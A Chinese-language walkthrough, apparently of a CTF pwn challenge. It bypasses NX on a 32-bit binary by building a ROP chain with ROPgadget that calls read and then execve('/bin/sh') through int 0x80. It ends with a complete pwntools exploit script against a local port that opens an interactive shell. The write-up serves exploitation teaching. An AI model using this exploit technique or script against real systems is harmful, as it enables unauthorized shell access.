首先对目标文件checksec,提示NX enabled,看看其解释
NX/DEP(堆栈不可执行)
NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
打开qira调试一下,报segmentation fault,有溢出点,并且能看到覆盖buffer到return需要32字节
ROP其实就是面向return的编程,核心是系统调用,下面用ROPgadget寄存器指令,并保存成txt方便查找
从eax开始 找到只有pop eax ; ret 的或者包含多个寄存器的指令,不要有其他字符指令
例如:
然后依次寻找ebx,ecx,edx
由于在这没找到ecx,但是找到ebx和ecx一起出现的,也可以使用,之后给这四个寄存器赋值,使其进行系统调用中的read函数即:
四个参数分别是eax,ebx,ecx,edx,eax赋值3,ebx赋值0,ecx赋值一段可写空间,edx赋值空间长度
接下来需要找可写空间,这里使用的gdb中vmmap命令
因为这些区域不会完全被利用,我们用0x080e9f40的最后100字节 即0x080ec304 - 100,赋值给ecx,
之后是启用系统调用的关键int80系统中断,当执行此指令以后,即可使用系统函数
还是用ROPgadget的一条命令来查找
得到int80的地址
到这里,我们已经成功调用read函数,接下来要传给他一个shell,并且执行,仍需要系统调用中的execve
重复上面步骤按照参数表赋值即可
最终exp
1 from pwn import * 2 3 r=remote('127.0.0.1',4000) 4 5 6 pop_eax_ret = 0x080bae06 7 pop_ecx_ebx_ret = 0x0806e851 8 pop_edx_ret = 0x0806e82a 9 buf = 0x080ec304 -100 10 int_0x80_ret = 0x0806eef0 11 12 rop=[ 13 pop_eax_ret, 14 3, 15 pop_ecx_ebx_ret, 16 buf,0, 17 pop_edx_ret, 18 50, 19 int_0x80_ret, 20 pop_eax_ret, 21 0xb, 22 pop_ecx_ebx_ret, 23 0,buf, 24 pop_edx_ret, 25 0, 26 int_0x80_ret 27 28 29 ] 30 31 32 r.sendline('a'*32+ flat(rop)) 33 sleep(3) 34 r.sendline('/bin/sh\x00') 35 36 37 r.interactive()
执行exp2.py,已经可以运行命令